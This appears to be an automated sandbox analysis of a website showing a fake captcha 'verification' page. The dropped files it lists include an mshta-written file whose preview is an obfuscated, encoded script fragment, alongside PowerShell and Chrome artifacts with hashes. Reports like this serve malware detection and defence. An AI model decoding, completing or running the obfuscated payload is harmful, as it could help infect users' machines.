URL: https://patiooutletmaipu.cl/tiendas/head/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Complete these Verification Steps", "prominent_button_name": "VERIFY", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://patiooutletmaipu.cl/tiendas/head/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://patiooutletmaipu.cl/tiendas/head/ Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://patiooutletmaipu.cl/tiendas/head/ Model: Joe Sandbox AI	{ "brands": [ "Head" ] }
	{ "brands": [ "Head" ] }

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	482418
Entropy (8bit):	4.912726567326364
Encrypted:	false
SSDEEP:	6144:9gXgWH9XJQQkzxGi5QQkzwGAJQQkzxGkJaQJzxGkbsQkzxGRZNQQkzdGC08QkzYA:IZH9HK1KscTtHKGKQK1KE
MD5:	96C2708F568F6FF449312840513BC9D4
SHA1:	7C7675B504D45EC43C51BC6A3AF17A5BA8120FB6
SHA-256:	0EA3B519B274F7161BD8E727B63E4ED3AC563896B370B330FC3335536B89ED8B
SHA-512:	9F8A0ECF5EA7D1D00FAAF09461EDB5D04BC570B3A453D216DE677F9AA5C8608B3E029A2FB5CCC21C121DD5355B569EDF8E5F2D212E14651FDCD8AA993BA0ABD2
Malicious:	false
Reputation:	low
Preview:	66s75q6eU63w74O69w6fP6eP20i79k4ce52Y4fw56u55Q28v7aQ67z78U6ch62m6fv29R7bX76A61v72K20J74D62e53S6dQ3dS20O27j27b3bS66x6fR72w20n28S76u61P72C20Y74o66h74Y43M69W64w20k3dU20s30w3bZ74x66v74S43l69F64M20E3cS20N7aG67i78K6co62d6fT2ei6cX65u6eT67A74C68V3bb20H74d66l74r43H69V64g2by2bW29m7bC76U61B72z20K49i6dG77q45w42o66S20G3dW20j53i74D72O69M6ea67Y2ev66X72c6fU6dL43I68U61U72w43w6fg64I65M28Y7am67J78R6cj62N6fM5bN74K66F74g43J69A64H5dB20J2dE20H36T31X31x29r3bf74r62h53n6dC20N3dl20t74A62H53K6du20x2bx20Y49l6de77z45O42L66k7dR72w65K74K75A72S6eL20s74o62N53k6dO7dh3bG76R61k72v20K74y62b53R6dE20Y3dz20G79J4cD52k4fS56c55U28J5bm37G32N33v2cW37d32B32v2ca37B33L30u2cZ37f31Q32r2cG37B32j35o2cQ37j32T36M2cY37L31E35r2cP37b31Z32M2cs37b31b39a2cs37W31O39S2cJ36C35B37P2ct37d31Z32a2cs37M33d31R2ct37f31s32D2cm36A34W33K2cZ36K35g36z2cc37y33C30x2cD36q34y33k2cm36R36e30N2ch36D34T33v2cl36d35y36C2cx36H38T30N2ci37Y32o31s2cz37D31t30z2cW36C34n33u2cb36c39W36C2cN37t33e30b2cA36f37V37i2ch36b35Y39v2cL36d37B36U2cf36o38O32f2cB36G38k30i2cX36f37q36e2cQ37Y31T3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	12584
Entropy (8bit):	4.905392021155998
Encrypted:	false
SSDEEP:	384:brib4Z1VoGIpN6KQkj2qkjh4iUxCdjT6Ypib47:bL1V3IpNBQkj2Ph4iUxCdX6YP
MD5:	3A797BB89F31B1A6A41B9531C27450B4
SHA1:	F88C7BA1622656BA69E2041EED645AE4182A06B4
SHA-256:	09DB28EA3982D7E071A8383057146C78F2C71D9FED8CCEC309DE9E1CA01108A4
SHA-512:	C09328F9B63B831A6906AFE695581083F5AE3858825E5A8AB6E7698F604C25C19338CB80E32D0F0756C875DE8F20CD5A577C1B967D9B1513CF39832D4AA7F8E5
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	14552
Entropy (8bit):	5.454044278768621
Encrypted:	false
SSDEEP:	384:37jr3WMuSgugpgpvTZ6XVqaJrBqeSAJk5T+fEH4Kl:nrGMtGg9gXVqa1seCWEHN
MD5:	173B800187A87F2DD8B60C85C49E4E4C
SHA1:	D2FDF823D1B4AD981CF6D4E296DBF98E1A24FA83
SHA-256:	13D4F2D90486C8788E4B727C5E7AFE33467F928F7CD0CD1739ED75AED5E6578A
SHA-512:	C938B638586025B2F70132A440A8C33C5486E35FC714916C28FA48379132F85B402CF7A61D35476098F83CFF52F9A5C76661FFEFC3B9CBBEEB95693F6E4E3CD6
Malicious:	false
Reputation:	low
Preview:	@...e................................................@..........H...............o..b~.D.poM...%..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementD....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4i4uwfoi.afp.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ktrlyqx.4lw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5ox2vc4.1oz.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zypq1qut.lqr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 18:49:28 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9916754904906084
Encrypted:	false
SSDEEP:	48:82VYdKTf70sBHvWidAKZdA1JehwiZUklqehBy+3:82PMZuy
MD5:	81A3EC2016594BB53730A7D22F3DBE25
SHA1:	BABEA986AE17A091E4E02FC221FCD098418718D1
SHA-256:	FBE6798627527614D6140F52A35A3AB9BB9F8E095A7A430270BA988A0DF29679
SHA-512:	75885377CD6C217659AD1002A1344E7071182A0C4CFD6F55AB6B4D2E4F042FC67F1F9E10FA343E4DF7A6708FA871965E342397439B382ED609A44752377A11C8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....j.V.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ&.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ-.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ-.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ-............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ/............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 18:49:28 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.009382939277631
Encrypted:	false
SSDEEP:	48:8mVYdKTf70sBHvWidAKZdA10eh/iZUkAQkqehey+2:8mPMb9QHy
MD5:	7ED8ABA9EC529BCA620B61EAF12F5382
SHA1:	87B453FAC2CE0F2E281ECF582C2094C86BB4E2CD
SHA-256:	023A93AE51F308D7382940E41B8F8532A1DD8CFDAD140E79A732122CE241FB9E
SHA-512:	9563070885164670086CCA861C2BA187DBDE7E55C27A28E3FCE347CB85319D8DF11DF8551CA93AB5C0B6C64E7C2EA439B6DEF35E6A62F3018FC2E2862B1643B2
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....I.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ&.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ-.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ-.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ-............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ/............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.018047041162006
Encrypted:	false
SSDEEP:	48:8eVYdKTf70jHvWidAKZdA14tIeh7sFiZUkmgqeh7sEy+BX:8ePM+nCy
MD5:	1C24E907C36BAADB7AF7373EBA87E612
SHA1:	94712BC57F2CB571CA1556FE203E9E0D843B6E08
SHA-256:	E25AFDA984F157CAA9B292A20C375B4402AD7B663C6CF20123425A2276F1F436
SHA-512:	293D038D0AEE229D272D8CA3D3B3B7479B49E5CB359E45428A836A5143D49675BEB870A170BBEBDCDBFB0611F15BD88BBA2BC434B83DDD367C4014FB43C9C965
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ&.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ-.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ-.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ-............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 18:49:28 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.0076866596710286
Encrypted:	false
SSDEEP:	48:8oVYdKTf70sBHvWidAKZdA1behDiZUkwqeh6y+R:8oPMIcy
MD5:	C10DBB42FCA4AEB954EC20F965BE408F
SHA1:	026D3F76225901F9B8969FD0158A87FB8EE36619
SHA-256:	B58CA66FBA54A9ECC836D1B9ADA62CB4E60D7CEBACED661A7AABBCD9774B8527
SHA-512:	69EF0A4D9E3807D7F4CD981A909205085FDE5980ADF2B458B0D2519B1003D2FC77576370EBC32DB221A069F1D17C558199D368F2C76777C08366ED23365DC273
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....6.B.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ&.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ-.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ-.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ-............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ/............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 18:49:28 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.995508685355243
Encrypted:	false
SSDEEP:	48:8JVYdKTf70sBHvWidAKZdA1VehBiZUk1W1qehYy+C:8JPM494y
MD5:	5D50D14AF92820DAC75C2C43EB05F89B
SHA1:	05782657FA7C9AD07E136A5CA9C479C7575C9FDE
SHA-256:	C28E86AD46D522C2D83DD129C69FA814CAC1206262C18FC8901B2E13876A2E0F
SHA-512:	2890A4A2533360D1DCB11ABABC300856775D0D88465BDE2251D9DAB6306B80F625C9A2A6EB61D9FA4D4CD9CE6F6C79557C683B1B05B8C4394FEAFD0C9B5563CD
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....3P.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ&.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ-.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ-.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ-............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ/............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 18:49:28 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.006906885117275
Encrypted:	false
SSDEEP:	48:8oVYdKTf70sBHvWidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbCy+yT+:8oPMyTTTbxWOvTbCy7T
MD5:	D37EE0E294E3359511647918C7B5DEA2
SHA1:	0B464146DA6BC145425D5D6318C25BBE59D5C823
SHA-256:	D23915D250C536EA8DCBF4EE5413EBA5ABFAD5DB528FBF29BE5E5A1EF69C8A05
SHA-512:	AA9128CE8F4D8DA96C05CAA14459506C9FA6F3215413B9F1694F56741E6B021AF9DB5DC7DD4A0EECE0C2B9E983E6919572B0B36E279C3B408F87801838FA4227
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....f8.c......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ&.....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ-.....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ-.....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ-............................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ/............................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............$.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	2656
Entropy (8bit):	4.7657791760649175
Encrypted:	false
SSDEEP:	48:FYB483QSZRSsmPAbwjPZVeuGzj5JeQZ3yp0:kL3pD6AbwjPzeuw5J5Z3S0
MD5:	2E13A5A5A3120C5685FE3578FC03F697
SHA1:	B645DBFEEBE96C692A604257BBF2057758CD6085
SHA-256:	99E3B8900E8B2B25BB16783B837CC2109555EA8E40C3171E40DBB65DE14F003E
SHA-512:	1DDB48B4B3568A117DD76C19CE9B910F4E89B161C464FAF9F5680D0EEF607583B89239E4A5EAD980423E2D04C4F6A56D2E3670CF8059DC84D54637C3C51EDE26
Malicious:	false
Reputation:	low
Preview:	<svg enable-background="new 0 0 92 45" viewBox="0 0 92 45" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><clipPath id="a"><path d="m0 2.9h92v39.2h-92z"/></clipPath><clipPath id="b"><path d="m-12.2-9.4h116.4v65.5h-116.4z"/></clipPath><g clip-path="url(#a)"><g fill="#2d2a26"><path clip-path="url(#b)" d="m37.6 27.9c3.9 0 7.3 3.1 7.3 7.1s-3.4 7.1-7.3 7.1-7.3-3.2-7.3-7c0-4.3 3.6-7.2 7.3-7.2m0 13c3.2 0 5.9-2.6 5.9-5.8s-2.7-5.9-5.9-5.9c-3.1 0-5.9 2.5-5.9 5.9 0 3.1 2.7 5.8 5.9 5.8"/><path clip-path="url(#b)" d="m48.4 28.1v8.6c0 1 .1 1.9.5 2.5.8 1.5 2.2 1.7 2.8 1.7s2-.1 2.8-1.7c.3-.6.5-1.5.5-2.5v-8.6h1.4v8.6c0 1.2-.2 2.1-.5 2.9-.9 2.1-2.9 2.6-4.2 2.6s-3.2-.5-4.2-2.6c-.3-.7-.5-1.7-.5-2.9v-8.6z"/><path clip-path="url(#b)" d="m61.1 29.4h-3.2v-1.3h7.7v1.3h-3.2v12.5h-1.3z"/><path clip-path="url(#b)" d="m67.2 28.1h1.4v12.5h5.7v1.3h-7.1z"/><path clip-path="url(#b)" d="m75.6 28.1h7.5v1.3h-6.1v4.9h5.9v1.3h-5.9v5h6.1v1.3h-7.5z"/><path clip-path="url(#b)" d="m87.5 29.4h-3.2

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17021)
Category:	dropped
Size (bytes):	424996
Entropy (8bit):	5.642966151714033
Encrypted:	false
SSDEEP:	6144:R4+AiK9yIJDtxaRVGpUskxzNM8x2wE3OPoKYUB4d72jAYqmfi:q+JEJZ4RgINM8AeRi7vm6
MD5:	7E59FDCBDEC59DC4BF297BADEFCD4860
SHA1:	F1F21695B89BFE4BA7C2C1A5F980202F59C452ED
SHA-256:	B54CE4C916AC6E1AFE59C84451E21BF518EA679279789272AFA0EA992B2EB3C6
SHA-512:	A221B26FD7D5FA516DDA55892C484A2957F8B5CE4D2378D52A6BECBD3EAF9FD84EF4BA0AAFB24D15861DB2374489C532240669AB73E15DBD7EE25359113FAD80
Malicious:	false
Reputation:	low
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"},{"function":"__c","vtp_value":""},{"function":"__c","vtp_value":0}],. "tags":[{"function":"__ogt_1p_data_v2","priority":14,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_cityType":"CSS_SELECTOR","vtp_manualEmailEnabled":false,"vtp_firstNameType":"CSS_SELECTOR","vtp_countryType":"CSS_SELECTOR","vtp_cityValue":"","vtp_emailType":"CSS_SELECTOR","vtp_regionType":"CSS_SELECTOR","vtp_autoEmailEnabled":true,"vtp_postalCodeValue":"","vtp_lastNameValue":"","vtp_phoneType":"CSS_SELECTOR","vtp_phoneValue":"","vtp_streetType":"CSS_SELECTOR","vtp_autoPhoneEnabled":false,"vtp_postalCodeType":"CSS_SELECTOR","vtp_emailValue":"","vtp_firstNameValue":"","vtp_streetValue":"","vtp_lastNameType":"CSS_SELECTOR","vtp_autoAddressEnabled":false,"vtp_regionValue":"","vtp_countryValue":"",

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	263
Entropy (8bit):	5.985554613775664
Encrypted:	false
SSDEEP:	6:6v/lhPk1ME26tbrSq/PQNamtSsrUWhbKzltFlzibGQxk/wOD/bp:6v/7seE2YrSqMa5sYWhUlsbGnj9
MD5:	1BD43D4EECD24CE4B5818F13A915056C
SHA1:	5322422AF29ACDD8E43F3E573918583066AF01AA
SHA-256:	2F8633D29254F2C5AB09EB10073524ACF9620103D16E48FAE7713272FCB29C36
SHA-512:	F3D588D57CABAE30937BC11A5D8C61B2A61664011134EE3BAF683C785D180E8BAEF89894B585F9DC1D975356F3C9864512480E9B1D046080D09278FD8ADD1F10
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR... ... .....D......KPLTE...................\...........]....................]....................].........tRNS....&(,.:<F\dz.........jHl...TIDAT8.c........'...)...E...M..`(..@..J.....+#..\|....Lx.."K.y.(...0.8..u....I.. o....=..$.y....IEND.B`.

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1080 x 1080, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35720
